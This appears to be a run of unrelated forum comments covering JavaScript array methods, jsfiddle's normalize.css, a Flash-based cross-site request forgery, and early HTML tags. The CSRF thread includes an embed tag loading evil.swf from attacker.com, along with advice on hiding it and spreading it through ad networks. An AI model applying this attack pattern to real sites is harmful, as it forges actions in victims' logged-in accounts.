I don't understand the need for the first example: Array.prototype.push.apply(a, b);

Isn't that what the concat() method is for?

Array.prototype.push.apply(a, b) modifies a in-place; a.concat(b) returns a copy of a with b appended to it.

What does it mean by "normalized CSS"?

From here: http://doc.jsfiddle.net/api/post.html?highlight=normalized, given this:

>normalize_css: yes or no - should normalize.css be loaded before any CSS declarations?

I'm guessing it's an external CSS file, probably to enforce consistency between browsers. Haven't looked at it, though - just assuming. "normalize" is nowhere else in the documentation, oddly enough.

The checkbox has been just added few days ago. Before it wasn't optional. Just written the doc http://doc.jsfiddle.net/basic/introduction.html#normalize-cs...

Docs are opensourced (https://github.com/jsfiddle/jsfiddle-docs-alpha)

Please file issues and requests https://github.com/jsfiddle/jsfiddle-docs-alpha/issues

It's a simple reset.css

http://fiddle.jshell.net/css/normalize.css

The user would first have to go to the attacker.com phishing site though right?

It sounds like it makes phishing scams a lot easier.

(thanks for the explanation btw)

My reading is that it's not necessarily phishing because they wouldn't need to ask the user for any information. All that would be required is for the user to be signed into the targeted webapp.

It could be totally automated. But, since the attacker doesn't get the response, they couldn't necessarily do anything with that. That doesn't make this any less dangerous, as in the bank example, you don't necessarily need to see that your transfer was successful in order to get the money.

    <embed src="http://attacker.com/evil.swf></embed>

is all that you need to execute this attack in your browser. An attacker can hide the applet via CSS and put it on a legitimate looking page. All the target needs to do is be logged in.

If you want to be super evil about it you could also embed the evil POSTing code in a swf that looks like an unevil ad and then let an unsuspecting ad network distribute it for you.

Edit: grammar.

Correct. Put it up using Google Adwords or a similar network, make sure attacker.com has a proper crossdomain.xml file (because the SWF won't be served from attacker.com), and you have a working exploit that can be deployed all over the Internet.

This google URL redirect should let you read the original article: http://www.google.com/url?sa=D&q=http://www.nytimes.com/...

Doesn't seem to work.

I read through the message/post but I still don't get it. What exactly are they saying?

It is saying that the FONT and CENTER tags were added to HTML after CSS was a public draft.

>It is saying that the FONT and CENTER tags were added to HTML after CSS was a public draft.

And all the other Netscape tags.

It means that Netscape ignored the idea of separating markup from style, probably setting back the progress of the web by some years. This seems to imply that Andreessen's vision of the web was not very ambitious at the time - mixing FONT and CENTER tags is convenient for small-scale publishing by individuals handcoding one-off HTML, but is unwieldy for larger scale ideas.